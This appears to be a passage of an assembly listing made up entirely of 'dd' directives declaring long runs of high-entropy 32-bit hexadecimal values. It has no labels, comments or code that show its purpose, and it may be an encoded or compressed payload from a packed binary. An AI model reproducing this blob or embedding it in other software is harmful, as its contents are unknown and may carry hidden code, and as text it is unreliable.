		dd 0B32FAA02h, 0C871B563h, 2C375Ah, 0FFCC839Dh,	53170ABFh
		dd 882664B0h, 384158EDh, 6771F111h, 5C9CAFC8h, 0D5092CFCh
		dd 0B8A0878Bh, 6A83674Fh, 0E804FE76h, 0D1AECBE4h, 0C688CCh
		dd 7D7230BAh, 0F3684BA7h, 0E30C0800h, 484E24Ch,	15FA001Dh
		dd 789FBD88h, 2800C33Fh, 537B65FEh, 1B2EA2h, 4010A32Fh
		dd 2C4403B0h, 8295B1Ch,	0B3EC8380h, 0F6938BFFh,	5272005Fh
		dd 146142C7h, 73091DFEh, 80368A76h, 41D84E80h, 5CE0094h
		dd 18BF3195h, 73004588h, 0C7FF1B86h, 53F4CEFh, 9D6CE1D3h
		dd 0A0CEFCh, 175D8DD4h,	1473EF99h, 0ECF42F96h, 0E3770808h
		dd 2A5A8307h, 0A8C4E4C0h, 0D83C5019h, 0E2A19046h, 0EC6D1291h
		dd 0F9A030E1h, 0B01E534h, 0DF764ACFh, 0C0E0AA2Dh, 2BBB00F6h
		dd 21F96E17h, 0DE24C29Bh, 0CA0AF831h, 0BAF2C4E8h, 6DB090E0h
		dd 0BD451826h, 5C019077h, 4E46BF12h, 0FCF8900h,	0B8677857h
		dd 25776Ah, 73631551h, 0FBA22601h, 5CDD100h, 4BD38DD6h
		dd 7BDE0075h, 0C4898F95h, 0E30F305Ah, 0D892C6h,	57220336h
		dd 0EE7B0060h, 30680B6Bh, 7A00E833h, 0DF7D19C0h, 0E81F6D9h
		dd 0FDCA176Ah, 0E0BE6B00h, 8F002664h, 0A392A805h, 0EC8CBD86h
		dd 0B39100BBh, 0F898B063h, 0E71F4D46h, 0B81D5C5h, 1B4CF9Dh
		dd 306DC4h, 0BB32F983h,	6CB3AF3Eh, 0F45C7F7Bh, 1ECF00E0h
		dd 884FE734h, 0DB891E51h, 61164393h, 0E38B203Eh, 1835D7D0h
		dd 0D88AF607h, 0C06FFC70h, 58FE9929h, 84050153h, 7E799C33h
		dd 0E413DC0Bh, 185AA24h, 0F03514h, 0B5B72912h, 24104161h
		dd 24A0EA03h, 0A2C40002h, 8F940758h, 1D130600h,	9E6E7F69h
		dd 163601E7h, 0B895EC1Ch, 0E4D0FFDCh, 1E00B6E5h, 31C1587Fh
		dd 1A524FCh, 0C23CD18Ch, 20E52F2Dh, 0E60EA234h,	49BBC6F4h
		dd 0CB2F0157h, 39D07CD3h, 13601CFEh, 504CC3DEh,	0A3A1F5E0h
		dd 0A0BCCB54h, 1A000220h, 0CD98A8C5h, 0E8A9D6E8h, 1ED30055h
		dd 842596DBh, 220013A2h, 0BEFBA73h, 2DF7221h, 56981141h
		dd 0F0C8CC77h, 0E7001954h, 0B4034FD6h, 37E121Ah, 68B8F4B6h
		dd 0E2C88F81h, 4709F1E0h, 0C85F4507h, 26028Ch, 0F478A8BFh
		dd 7A6236E8h, 0C97EA5B8h, 44AD3701h, 0BDEFE6D3h, 51FCC5CDh
		dd 99F4000Dh, 0A13B4C6Bh, 0C40013ACh, 205D343Fh, 14CF4Bh
		dd 8B432886h, 8E499359h, 3DBF3Ch, 0BE37C84Fh, 0F145F3h
		dd 0EE692E06h, 36F08034h, 4CEB2F0Ah, 0AB40D87Eh, 0F4D185A7h
		dd 54E007D8h, 46E555D4h, 9900B9C7h, 5B73818Fh, 68EFF7h
		dd 0D5E9E6C9h, 0A66E03ACh, 3C758h, 95AB64E3h, 2D9AD0h
		dd 0E1DBC69Ch, 0E9DF8CCAh, 8A00CBE8h, 85DE4392h, 0EE7A9C54h
		dd 0E4FCD039h, 0D16DCA06h, 87001113h, 33D664DCh, 35B77E3h
		dd 3DC15DDDh, 3148126Eh, 14541FD1h, 0FA6A7883h,	2358011Dh
		dd 821652D8h, 0B8CD03CAh, 3A2B85Fh, 6B57D0F6h, 44A2F501h
		dd 0E8A75C68h, 317F7C00h, 3814176Ch, 4983F3D8h,	1E7E6ABDh
		dd 8A805803h, 0D897A077h, 0E7F90Fh, 95D8EC62h, 3D1C030Ch
		dd 17DAA900h, 2B57296Ch, 0AC6900D3h, 0E2AACD5Eh, 0ED00079Bh
		dd 6861F71Bh, 41FA99h, 0A4DE1F33h, 8E852263h, 747B6700h
		dd 0E29F6F2Fh, 875C00D2h, 32909D64h, 80057A3h, 287B8435h
		dd 0FCECC10h, 4816B195h, 0E0B33187h, 512E8C9Ch,	4F394E03h
		dd 885B127Fh, 1E72CFh, 94BF8876h, 7C475D9Eh, 0FC281A60h
		dd 1DC43EAEh, 872873F4h, 0B34B2E6Eh, 60B1D539h,	65D8FFEDh
		dd 462CC256h, 803DE7E6h, 53872AF6h, 6071E74Fh, 5CEB4850h
		dd 6100440Ch, 6B3DF490h, 7DCEAD0h, 311F4569h, 0F199E0CCh
		dd 6005546h, 216722E6h,	134C204h, 1872454h, 70CC8C9Fh
		dd 0B1E499B6h, 5F6A4509h, 40038FABh, 5842798h, 50813093h
		dd 581DC419h, 55613C02h, 80FC49C6h, 1BA06F80h, 0D09B0048h
		dd 1A2FBD18h, 0EB7F71CDh, 2C5C4303h, 908188A7h,	73C387C1h
		dd 0D5A90F18h, 0AF0025E8h, 546B4830h, 0C53DA400h, 0BF8349E0h
		dd 6A790052h, 8E33A3DDh, 5300DC60h, 0E00EE9DBh,	0E32AB7h
		dd 1286AC70h, 0C8404859h, 0F667EF2Dh, 8A4B00FBh, 0C75DD147h
		dd 0E8D0C500h, 3696CE38h, 0B4540FD6h, 0B803B26Dh, 0E9A813F5h
		dd 0E018DCC6h, 0BF085157h, 3520D45Eh, 1693130Bh, 4BB0EB81h
		dd 0B6806E66h, 687CA6Ch, 355398F1h, 0D80E51E0h,	9F9A8234h
		dd 8F3B6A80h, 1C081D4Bh, 1E0E8945h, 8EA20095h, 0CDBD669Bh
		dd 38039678h, 5E73E8C5h, 0C2A000C6h, 0B33598F6h, 0B200EDC7h
		dd 4479D8FEh, 307707Bh,	0BCD521A0h, 1C805DDEh, 0A500B706h
		dd 5E6A9FFh, 3EE28Dh, 0C2D2B46Eh, 508E7B98h, 45BA3C00h
		dd 9D822F88h, 20A800E9h, 6E55A3C9h, 9A03075Dh, 3BCDD9D5h
		dd 397ED8EFh, 25DD00D7h, 2D68E22Fh, 0D91E5F5Eh,	4141AB69h
		dd 4ED4AC28h, 4742092h,	0C18FCCBBh, 704F105Eh, 4400A2C5h
		dd 0CA87E45Ah, 7A67E42h, 4A348A49h, 0E078FD15h,	4000BF04h
		dd 803F84A0h, 0F6252688h, 6D0D3099h, 388F24A9h,	0C0EA2800h
		dd 0D2AFC57Bh, 0D808CC7Ah, 2D00EF21h, 0C367582Ch, 0F9BE63h
		dd 3D36A6AAh, 0DCAB9D81h, 99E22E01h, 0BF052165h, 3485C6E0h
		dd 2E41503Fh, 81311038h, 0D1939FC0h, 0F6000C5Fh, 75226CFBh
		dd 3F8757C2h, 42031930h, 1A81922Fh, 98445900h, 6B075F16h
		dd 0A4E5199Fh, 9E41086Ah, 15C06489h, 53CBD5FFh,	0D590002h
		dd 99D3F654h, 1302931Ah, 86505FD2h, 59D0813Ch, 9708D8C7h
		dd 5F5B2704h, 313165F1h, 96690014h, 98C10727h, 302AF1E5h
		dd 0B5683C44h, 5424A301h, 691ED90Eh, 1B78E0h, 0DA9687C8h
		dd 8859558Bh, 51947300h, 0C5ABB2D2h, 1C8A0748h,	0E3C091C7h
		dd 5BE3A86Eh, 761F9DB0h, 0F3EA3E01h, 842A07D7h,	0FA3DE2D0h
		dd 0A0C100F5h, 25EBFAA9h, 8C178F9Bh, 88014BE4h,	0C4EF32AEh
		dd 0F03534F4h, 2A5C002Bh, 0DF53094h, 0C0768B4h,	0F3DF3CD6h
		dd 0CCDBC980h, 0D34C006Eh, 0C133B1A5h, 8100658Fh, 27FD123Bh
		dd 9280F3h, 6F36DC79h, 0B267FA2h, 83B3EA00h, 0A1198182h
		dd 7EF75C59h, 18FCE81Bh, 603C29D0h, 0EBC90E00h,	301A6341h
		dd 0E59001EAh, 5A4E176Bh, 0DC763140h, 0B66022ADh, 26F07250h
		dd 0D2C80085h, 0B74840B5h, 4C077517h, 0E70B10AAh, 0EAFCD141h
		dd 31D11D8h, 470C3738h,	8185222h, 0A720C373h, 5C720F29h
		dd 0BDE0F65Bh, 0D70DC79Dh, 9852AC00h, 1857CA78h, 9EFA0C06h
		dd 0FB60FC54h, 3FE60421h, 37A02F8Eh, 23463364h,	0C0213A5Dh
		dd 0F14C2C81h, 7043FA36h, 0EE01539Ch, 5B57E202h, 2880BA83h
		dd 45547A0Ah, 323CAC0Eh, 8FD800FBh, 0A7A48B07h,	3AD398A1h
		dd 5018A0EDh, 0C54330D0h, 69F90700h, 73F1EFF5h,	835200C0h
		dd 16855DA7h, 8903BF8Bh, 3575907Ch, 0DC68007Dh,	698E668Ah
		dd 21264C11h, 1E064480h, 207BCCh, 6261B446h, 0C2A6A5AAh
		dd 0C8508400h, 70673460h, 0BFE4002Ah, 0FB5E5490h, 6531B0Fh
		dd 30F6A288h, 130091EDh, 0BED82E74h, 30CBFAEh, 0C224B3F7h
		dd 0F0F755ADh, 835A3960h, 1AB8D31Ch, 66A6C781h,	0DBD414AFh
		dd 4D6D00BBh, 0D7FDD4Eh, 0FB00D42Ch, 0E0F55DD8h, 0B8749AA0h
		dd 696D00C8h, 8ABB30Eh,	6400AE13h, 0E25759EDh, 0D6F938h
		dd 0AADE81C9h, 0E0E7FD9Ah, 0B6A0A51Ch, 0E5A45740h, 96B822h
		dd 0DBD4FEACh, 614C0BE4h, 0AD1080F5h, 0F54D1F0Fh, 9E980096h
		dd 6DD5A0E2h, 0A6090C80h, 8EB12B8Dh, 0BF0F575Bh, 0A0E7073Ah
		dd 4244C920h, 0CF510049h
		dd 0B6DB52FFh, 0AC01E43Fh, 0D9B9B2B7h, 5EE05685h, 0ADEA1FEDh
		dd 94C80F9h, 430C3058h,	14EE75E8h, 0D3279100h, 0E5A6EC66h
		dd 1C633F65h, 1620C74h,	0E1908F64h, 3600397Ch, 0EEB97352h
		dd 1849ECD8h, 98301C44h, 0A97D85BBh, 0F4997506h, 0D8897Eh
		dd 26BA2731h, 87D25F8Ah, 76F0CD60h, 3C8CC19h, 10F885D8h
		dd 83E0CF1Dh, 0A2028C89h, 24534057h, 7D2C822Dh,	155222C0h
		dd 0EB08F211h, 0B008C642h, 9C34947Bh, 0CAC82C00h, 7A54BA4Ah
		dd 3DAD4478h, 21516420h, 0D2041226h, 4F049F07h,	2D4820C5h
		dd 0F8833817h, 98D044FEh, 4CB18765h, 0F9612C45h, 9AF49C02h
		dd 0F2CA2D6h, 0B7330289h, 67F7AC10h, 0DA0CB067h, 1431382Ch
		dd 0D440B1h, 54136457h,	3EC6AC65h, 73843Fh, 6B8B3645h
		dd 0A577DC0Eh, 6225BA1Dh, 0E61280F0h, 0B2B50032h, 8A225FA1h
		dd 2E106A78h, 4A1FE22Ch, 0A9824347h, 0C81D86DFh, 7809543Dh
		dd 95E1003Bh, 0FD497Eh,	195F1810h, 0AF213230h, 0BD1E8212h
		dd 58380402h, 0ACCE4116h, 0C3EFD8h, 3FA87757h, 6B8A7554h
		dd 831CA339h, 2AC07EBh,	4B980E06h, 194A68BDh, 8DD400D0h
		dd 0A8360A2Fh, 0A386E806h, 5008A945h, 0D488B1h,	9C05FA9Fh
		dd 4706E727h, 0A10E1D00h, 0D0CB898Fh, 0F3D705B9h, 2216C6h
		dd 0D4F0E5DCh, 0C13F19FEh, 405C01AAh, 215AD039h, 0A8D52094h
		dd 19CAFE02h, 604B1241h, 7E9834C0h, 70387401h, 9FB03189h
		dd 0C575A1E7h, 1C22209Fh, 0B413C17Eh, 2037EAEEh, 0CA0228B0h
		dd 1A2442A8h, 0E2B4807Ah, 48B97976h, 0A45070CEh, 9ADE1886h
		dd 25BBF89Eh, 3C920E24h, 0A746E21Fh, 3E2042Eh, 3564EF66h
		dd 0C0A4038Bh, 11555CB6h, 0B9B18400h, 0A9FD213Fh, 7C70E7BBh
		dd 0B2020019h, 0FDDD559h, 67003C64h, 32863D46h,	0B6F103h
		dd 0F398B530h, 5165A038h, 1F009B7Eh, 0A4BDCEB7h, 113D1FFh
		dd 61FB6E11h, 0C063575Dh, 0D8030860h, 748885D5h, 70183BC0h
		dd 0B0719780h, 25618BA2h, 0C375CE00h, 0BA400582h, 0F01CE864h
		dd 0D3D700A4h, 0C2930295h, 0AC1E81F4h, 0BB06F16Ah, 1A10E088h
		dd 28779B1Dh, 934EC580h, 0AB009738h, 4BC48B02h,	106D80Dh
		dd 0DEE2E5F8h, 8F1AE459h, 18D208h, 6E1F2968h, 0F3FA00F2h
		dd 46C14EA3h, 0EE3F3EA7h, 0CA6F0040h, 0F93BB696h, 0C76C02FCh
		dd 9D64AC5Bh, 8A5405E0h, 1F3E4500h, 1804A78Bh, 363C00AAh
		dd 0FAF9CB6Eh, 0D2002140h, 0D34B78A1h, 7E36D2Ah, 0E1653889h
		dd 0E500CEC3h, 7F7DF0Ch, 82BDFD02h, 0DD3D7A5Bh,	99E75000h
		dd 0E600D6EBh, 244107A6h, 0F62DB814h, 8EDA302Eh, 946F9848h
		dd 0B95EEB1Ch, 0FEC3CFC0h, 1385DBh, 0CA892951h,	7BEFACBAh
		dd 91D8970Dh, 152081E0h, 0C29406AAh, 0E03312BCh, 0DAD7A506h
		dd 1897402h, 0D552A6FBh, 7014B5C9h, 58007B33h, 0A82666DEh
		dd 50FDA1h, 722A1A4Bh, 579FE840h, 0CBD31600h, 4209C5D7h
		dd 0DA8D00EEh, 52BE7E6Eh, 0DEE4CC48h, 20B05Ch, 6A77A971h
		dd 7A386537h, 353B00D6h, 7FF18004h, 5E03F55Bh, 1A872D05h
		dd 2F27E01Bh, 24EFA0Ch,	14348A9Fh, 8C7F07E3h, 0B047B1D1h
		dd 0ECB600A5h, 312E889Dh, 1792089h, 8BD32C00h, 0DA39C248h
		dd 97CF0576h, 846DA694h, 0E4D8010Ah, 0EC28AB20h, 2A01BB37h
		dd 1A53ADB4h, 7EF18592h, 90EFB0F9h, 0E5D86Dh, 7DD1E354h
		dd 875971D3h, 0EA8BE801h, 86C2149Eh, 3B7ACCh, 0A4334F8Ch
		dd 78F71FADh, 1F8840Fh,	7D0776A9h, 0D8B0E460h, 0DCAF8Bh
		dd 51E2FB13h, 8E5D17BBh, 0A035E000h, 86308977h,	98ECF175h
		dd 239F0038h, 0FDD0DD2Ch, 3E00A6E4h, 7F3C5E77h,	0ED181Ah
		dd 48658C4Bh, 5942C125h, 0C6CCF600h, 5BBAA822h,	717FD0h
		dd 6FB590E0h, 7FFE32D5h, 0D8C2580Fh, 28FA4424h,	4E056EC0h
		dd 0F9AC003Ch, 649E2A47h, 0C53A8F1Ch, 0A3B02449h, 4CFB1D00h
		dd 3C8EC7EAh, 0F381A055h, 0AA733F9Ch, 5586A688h, 0CE116100h
		dd 7145380h, 156BC076h,	72339051h, 9050508h, 0AB795D3Bh
		dd 43009DC5h, 7D91373Ch, 57DC0041h, 0B32B8CB5h,	22071D36h
		dd 0CFDD1577h, 74D5295Ch, 6C8C8208h, 21443929h,	0E96B0974h
		dd 20C373Dh, 3420B451h,	2425222Ch, 0E4293718h, 8B21CD28h
		dd 5111BAD3h, 14082381h, 0E11F664Ch, 91083F10h,	8D042AC4h
		dd 1B0278D6h, 6505DEC0h, 75BD6400h, 5036A8C1h, 447314E9h
		dd 40FC99D3h, 0C6FE4580h, 299A5579h, 0E813BC10h, 78391D18h
		dd 4C00CD89h, 0D99D91D3h, 712DA664h, 6F2600C3h,	34EE08BDh
		dd 710025B7h, 0ED8043C9h, 0CDBA3Eh, 0F6FA8C5Eh,	0C7783513h
		dd 8DE24B00h, 0CC080F36h, 0F214006Eh, 0F145BCE4h, 0B6000D8Bh
		dd 50066FA4h, 64A8ACh, 0E831DE66h, 99DD1C23h, 0C50059EAh
		dd 271A43E6h, 0FC5B8D5Ch, 15CD0005h, 8A0A06DAh,	0F9030916h
		dd 1C996B4Eh, 4D01E137h, 305BDDC0h, 67A0CBE6h, 0E203FAF4h
		dd 94903ABEh, 0C6B7B081h, 0A7C83A56h, 4F7D9Eh, 1837AFDh
		dd 0E600EE1Bh, 9361BB23h, 55B5E0h, 0BCDC3617h, 2F9B3043h
		dd 5EA4CE61h, 62F8DE01h, 0C3B10009h, 3038A821h,	2F00F2B4h
		dd 7BC17A87h, 556395h, 0DB0A086Ah, 0D684DDC9h, 0DC47EA02h
		dd 606F40ACh, 3A9F7300h, 0D09C94C4h, 0D9A04063h, 3CD60150h
		dd 15297400h, 2D70DC2Bh, 0BE7883h, 0E93AA957h, 0DA216706h
		dd 0CA7D2200h, 0DB1AF46Dh, 0F21639D8h, 0FEAB8000h, 73E577EDh
		dd 2CEB0C00h, 0A5403BBDh, 3D41D9Ah, 765200ABh, 34832A7Fh
		dd 31B62E00h, 0BE022FDAh, 8BFB0F7Dh, 2A00DBDDh,	551BD9D2h
		dd 410F0870h, 9FFAC204h, 5A7C6B40h, 1D6EB7h, 12761586h
		dd 94CE4B18h, 3F40F600h, 72EF9335h, 0EB8000C0h,	5E338523h
		dd 51E6B7BFh, 0F8665600h, 0A6289FCCh, 4CD50064h, 4AEA1305h
		dd 0B51EF9ECh, 5B4091EFh, 6014B881h, 0A6BE1D9Dh, 0E5B300F7h
		dd 0C28E382Ah, 24A32700h, 264278DBh, 0C85E0025h, 2A6DFFFAh
		dd 0DA00C0EFh, 0BC0489CDh, 0EED4D92Dh, 0DB0F00AEh, 0CB352AD2h
		dd 0C5008502h, 0BCE830FFh, 9EDACAh, 0ABA27BEAh,	0A32CA5C6h
		dd 98501802h, 0E074172Bh, 64A96Ah, 0CCB5CA6Bh, 0EE3F0B24h
		dd 601E5D07h, 8A601A88h, 0BC67A9Fh, 76B3D8D2h, 8F6F5200h
		dd 0FF00E696h, 0BCF2D02Ah, 48A6A1D9h, 3A0C1C10h, 0C110DD55h
		dd 0DC79DC24h, 529D5103h, 0E6061F25h, 0DA418093h, 6E7AD5F7h
		dd 0D3002090h, 0E318899Fh, 39BF9FAh, 6D7B28FBh,	0BAD364A2h
		dd 81E1FCA8h, 1C27F300h, 59F11801h, 0FAD5F0F4h,	0B566009Ch
		dd 39898C1Eh, 22EE79D9h, 2DE86200h, 4B618030h, 0F71F0A1h
		dd 0EB50F97Ah, 64992883h, 0B011C380h, 2B207700h, 1E8930C8h
		dd 252D0AF3h, 810CFD4Ch, 94D1C017h, 0C173EC50h,	0FAD9F700h
		dd 3A3481CBh, 60B4002Bh, 31C0F171h, 0C8F89086h,	0FD512F00h
		dd 7D31EE1h, 0D4D00B3h,	0A02212F1h, 6D12D5ACh, 49004C47h
		dd 0ADCEDB65h, 2A1D0370h, 0ACC12628h, 0AA007ED3h, 0EBAA3B1h
		dd 608292h, 0FB0754A7h,	0EA8F6EBDh, 8091CB39h, 0C49A9B17h
		dd 57CF93h, 0BA18854Eh,	0BE147BDBh, 7D9F48h, 73132EEh
		dd 0C3CC9h, 0C8FD3644h,	0AF82B85Fh, 171A458h, 66741076h
		dd 0B9E8F037h, 7E845808h, 69002C48h, 0F339BA3Ah, 2F00FDB1h
		dd 7F400E5Bh, 0B0DA43h,	0A830C652h, 0B2C0F5B7h,	0D4B17300h
		dd 0EF170A09h, 0ADE83A81h, 3C6D9Ch, 6C4FDB6Fh, 0A507F172h
		dd 823ED9CCh, 0B61039D7h, 0F0A1Bh, 0AB1F574Ch, 3D29D4E5h
		dd 9FA97007h, 0D9B0334Bh
		dd 14D93B4h, 9290A8A3h,	60568AB1h, 0E30022A0h, 96598C02h
		dd 0E625047h, 0C2F62967h, 0B483023h, 0DD903C8h,	1F984A00h
		dd 0C7AA83EEh, 952B0037h, 0DA82A10Fh, 8900B8D7h, 90D5E1B5h
		dd 0B08F29h, 0CB0D6042h, 0D6CF2122h, 7739C802h,	872969BCh
		dd 6AB02EE0h, 13FCA0B7h, 720BAh, 0BF8FB686h, 670130F1h
		dd 43C2CCDAh, 0C1CC9BB0h, 0DF3800A7h, 37D2F0A1h, 6E00A393h
		dd 0E541FF0Dh, 0F6D50623h, 1E14057Dh, 8057B8A0h, 1A60673Ch
		dd 0D7DFAA00h, 0A05BB68h, 24B31E2Eh, 0FF8CC066h, 153952C5h
		dd 794EBE00h, 3646D1A2h, 1A3A046Fh, 80EEA70Ch, 0ED28728Ch
		dd 0FD0301F4h, 0F215044Eh, 0EE61E0E9h, 5E1B1F96h, 0A103009Ah
		dd 66621193h, 0D9845C00h, 0D7B34BB2h, 0BD770291h, 4A80651Ah
		dd 45211EE0h, 80F5E238h, 3F60F1EBh, 0FA9A8ABh, 0FD48104Bh
		dd 91FE1522h, 30A2F841h, 53FD620h, 0A99B8071h, 15113107h
		dd 0D7893BC0h, 0CC69F00h, 0A7C22FB2h, 6F1A7B00h, 0AE583399h
		dd 0B76D0034h, 0BF526484h, 0AD05FE08h, 9CF4A641h, 25CBBB80h
		dd 67A28A1h, 7B2F2CCCh,	6238407Ch, 1300A32Dh, 68775F14h
		dd 16AA3A63h, 1078D155h, 0C400B82Eh, 0BE12AC23h, 0F9006407h
		dd 0AB7AD42Ah, 3CEEF0FDh, 0F3002F48h, 144AB6A1h, 0BB00CC6Eh
		dd 8DB53C1Dh, 0F684CEBCh, 635C0001h, 95DA3215h,	2FEACF2Dh
		dd 621FD1F0h, 48CD9D0h,	3478A065h, 0C07AF43Ah, 3486BDA1h
		dd 2FCD6C00h, 0C7B09B73h, 0C3470021h, 57E18E5h,	8E014F8Ah
		dd 88B4B885h, 44DCDF97h, 96ED00CEh, 6C182152h, 0F898A6EEh
		dd 978059h, 10443C4Fh, 11C5C9h,	167E0751h, 6D5E329Fh, 62BC4A00h
		dd 6C5085B0h, 77C53905h, 452E3580h, 0FB19D22Bh,	0CE00C498h
		dd 6CB48A33h, 657EB0h, 7426C8FFh, 423ECF30h, 84BC5F0Bh
		dd 0F612007Ah, 3C5EE1B4h, 0F7EBB45h, 0B5012F5Dh, 36C78100h
		dd 0D00450F5h, 0B13FF7B9h, 5B244FC0h, 0A1B0C8h,	0AD1D5C4Dh
		dd 4A11ED25h, 0BDE31907h, 0B4A3A19Bh, 1F3FD859h, 178F0089h
		dd 34047193h, 48006C33h, 4BD6B844h, 0B2946D6Eh,	79820028h
		dd 9078428h, 0C802597Eh, 379866CEh, 218CE0E8h, 0D1D0009Bh
		dd 0C5AD940Dh, 0CD029D42h, 1FF6C627h, 821C68C4h, 722800E5h
		dd 77E86C64h, 2900EFC7h, 0EAE4B8DAh, 1F62C343h,	0C07E88F4h
		dd 676CB224h, 7700D502h, 11CAC638h, 0F485B6h, 0B59CE441h
		dd 0CB5AE23Fh, 18ECFC00h, 32BF7733h, 8B1B0F10h,	7A40FAB2h
		dd 8C606A7Eh, 4A6EC800h, 0B1F777Bh, 50AC0096h, 751707D4h
		dd 0FA003B26h, 36D2D372h, 0F515CDh, 0C4FEAA01h,	0F6E1697Dh
		dd 94178B03h, 0B452F48Eh, 439D2180h, 0F4BE4C7Ah, 0F2CD7BC0h
		dd 0B4EA13FAh, 511E91FCh, 2D40B330h, 3C658E22h,	1D63FCA6h
		dd 0F039C5h, 0D359D440h, 0B700D843h, 8A0A6071h,	1EE785A8h
		dd 0C1B376C1h, 1936285Fh, 0F1C5FC4Eh, 869D2D02h, 41417DBDh
		dd 1CCE850h, 9A5C1349h,	0A0B02B5h, 38434A5Eh, 6E0694D0h
		dd 0BC29FA28h, 4914AE00h, 81661BFh, 832B3B1Bh, 65F14700h
		dd 0ED5E4321h, 9311F500h, 63AB9868h, 0B787011Ch, 0D823B966h
		dd 0CC7BE49Ah, 4D53D01h, 4EE7A6E4h, 3D0666ECh, 0B9FF160h
		dd 0F6AC4941h, 0F4760C00h, 0E7009FC9h, 4C819285h, 6E5221h
		dd 460848F7h, 941236Fh,	0CDAB121Eh, 504AE100h, 0FEDF2899h
		dd 0A26B00AEh, 12922B97h, 2E004E81h, 14B1F506h,	4DFA45E6h
		dd 8703E81Ah, 0C7EE378Ah, 784A95B0h, 0C948CB00h, 1C02B734h
		dd 52F010h, 94431FD7h, 0F4B08D64h, 2230750Fh, 0D7882A3Ch
		dd 0EAC93700h, 1936C1Eh, 0C8620E2Fh, 0C0FEF715h, 0C5E4D18Bh
		dd 37B6D309h, 6BD60068h, 395760E1h, 0F060AEF4h,	2BB77FC5h
		dd 0B007BFAh, 999ABDD5h, 0BAC92Ch, 48A00EB8h, 54FB1E72h
		dd 0A653D0A0h, 0DF6F3F04h, 9CC03C2Ah, 8D0C1Bh, 56864F1Fh
		dd 8255B74Eh, 23003276h, 5A836D4Ah, 324E27Eh, 846746E4h
		dd 110063A1h, 0AB4B5D8Dh, 73310Dh, 1C9287E6h, 0C10C0BCDh
		dd 0B4B9EF00h, 0B3AC0A14h, 1D53001Eh, 7D35BBF5h, 5A783158h
		dd 263FD10Bh, 80300984h, 0BE1E9ACFh, 7F2B01B8h,	66F141B9h
		dd 0C40AE04Eh, 0E1238000h, 64CE6E87h, 0A18101B7h, 0C0D68803h
		dd 0C5EDD491h, 0A9E94Ch, 7332286Ch, 3CD51C4Ch, 3B808A31h
		dd 0E94EF67h, 42077DA7h, 0D4ACD05h, 83938610h, 8BC500F7h
		dd 322413CCh, 0BB006003h, 0D1AB6AA4h, 1FB73797h, 71618h
		dd 336C40BDh, 357CDB2Ch, 5E9E3418h, 4C35310h, 0CBFCCF6Eh
		dd 0EC80801Fh, 40013A57h, 2B9EC1B5h, 56FD79D5h,	840BECh
		dd 4E9380C3h, 2445B89Bh, 8A857101h, 1CFEEB14h, 95B3B0F3h
		dd 0BD4700E6h, 0C4CB8B6Eh, 0F5389879h, 10948059h, 952FC07Eh
		dd 250E00D3h, 0E429E860h, 1B007650h, 0FF87F021h, 90CF77ACh
		dd 461401ECh, 0B5989CD5h, 0F94060FAh, 0E2BE8C00h, 673C8373h
		dd 514A000Eh, 0C72BDFF2h, 20B8F6C2h, 17214200h,	0BB763F2Dh
		dd 0CA360062h, 31046625h, 790F1E6Bh, 16B9F6h, 27C05388h
		dd 0C44A5CF8h, 672A3900h, 28EA7CE9h, 0C7E2DC03h, 0E0C104F2h
		dd 0A06F1C75h, 30E886h,	0CBDB6EADh, 0F1401D99h,	0FC44CC00h
		dd 0F373F9B2h, 18150E32h, 91A0E9D0h, 265152EDh,	4D703Fh
		dd 0EA669CB1h, 0D0474Ch, 9FB39486h, 0C5B7AC6Fh,	0AB9AC703h
		dd 0C1A7CB3Eh, 70FC4998h, 9DF4004Ch, 15D87752h,	7C7678DCh
		dd 9338C604h, 0BAC0A6A0h, 58D4EA10h, 57A2C9Ah, 0A09D5DBh
		dd 879FC069h, 0E782A94h, 6AE7100h, 0DD3F1237h, 31740795h
		dd 4FD234F0h, 0C81FDC40h, 9028A47h, 0E6E48448h,	43DAE0B8h
		dd 12C63E5Fh, 458C3807h, 1B26A0EBh, 0E583120h, 0B1007AD7h
		dd 7C98852Bh, 52DF70Dh,	0D26BD012h, 0B8D0C0AAh,	0F27C3FF5h
		dd 16F09671h, 463C9400h, 647E2885h, 2CD8009Ch, 121839B8h
		dd 5900204Dh, 8D6E5B58h, 24A3B408h, 44617Dh, 0D95425D0h
		dd 36074211h, 0C4A63AA8h, 9C8229A0h, 3E2202DAh,	48F88EA3h
		dd 2C7B96F0h, 4A881000h, 7E1E36FDh, 0ED450B02h,	9080215Ah
		dd 50C55C7Ah, 8789A425h, 0FFA03C88h, 0EE6B78h, 7F1F1D4Dh
		dd 0F6C44F46h, 69567200h, 99B5A3B3h, 0F0F800DAh, 0EA5504B8h
		dd 233C65A5h, 7CB180C9h, 3AFDFA14h, 0ADEE0062h,	6A529A35h
		dd 2000F74Ch, 474F436Dh, 3FBA79A4h, 0D300DBC8h,	91E995EDh
		dd 0EE38ECB7h, 0B2B18094h, 0C2473207h, 0BBCD5073h, 0A26424F2h
		dd 714B85D8h, 37CC80CCh, 0B4980C02h, 12E5625h, 4F1A0148h
		dd 55C4460h, 550C4B69h,	1C85DCh, 4D84251Ch, 34B8ED9Eh
		dd 0A88C970Fh, 0A50CC55Ah, 8BF963C0h, 3F4900A7h, 531741D4h
		dd 9C0F31C2h, 20F69391h, 64F74E94h, 0D0C101DDh,	3BE70EFAh
		dd 6F07C566h, 0D2723187h, 57986078h, 0AF330040h, 0E07064A8h
		dd 732E8A49h, 14013D55h, 8291B416h, 564460E6h, 3487942h
		dd 20E43B29h, 181C1E50h, 0EC80DE66h, 0D33510C2h, 9B0B00E2h
		dd 0CC6FAFEEh, 9700A8BEh, 2EFA9630h, 1E17014h, 5198366Ch
		dd 0ECC23720h, 2900DBB9h, 0FEDD664Eh, 247CD3E8h, 233CD89h
		dd 0B4D4B60Bh, 0A7F4D4C0h, 80462510h, 586BEA07h, 0DD4062AEh
		dd 0AA3D0560h, 7D0034F8h, 9FA7CC44h, 70983Ch, 0A437AB54h
		dd 767257C1h, 0D022D707h, 8C803ABFh, 0F26F6Ch, 0B96108A0h
		dd 32A14EAh, 0F84B5516h, 0E333F880h, 2E7A00D8h,	0D67DAEC7h
		dd 3D0E512Ch, 8082375Fh, 7FD90106h, 0C0EA74h, 0C4EBE12Bh
		dd 0B3FE496h
		dd 574D3000h, 5FB62CD0h, 0C0E307DBh, 0D0674014h, 0F20B9B8h
		dd 0A98BD800h, 2397FE62h, 9E1200ECh, 0C76F15ADh, 0CC0F275Fh
		dd 2DD999h, 0E2E467A2h,	6DE90078h, 5C33A512h, 2000759Fh
		dd 0F79B41C4h, 0B76039h, 3C9A7230h, 0ECDAA712h,	0C448A600h
		dd 961A8A02h, 0B0BB001Dh, 0A350E66Ch, 0F0C996Dh, 10E75422h
